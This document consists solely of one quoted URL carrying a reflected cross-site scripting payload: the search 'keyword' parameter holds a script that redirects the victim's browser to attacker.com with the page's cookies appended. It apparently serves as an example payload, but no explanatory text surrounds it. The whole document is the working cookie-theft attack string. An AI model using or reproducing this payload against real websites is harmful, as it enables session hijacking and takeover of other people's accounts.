"http://website.com/search?keyword=<script>window.location='http://attacker.com/?cookie='+document.cookie</script>"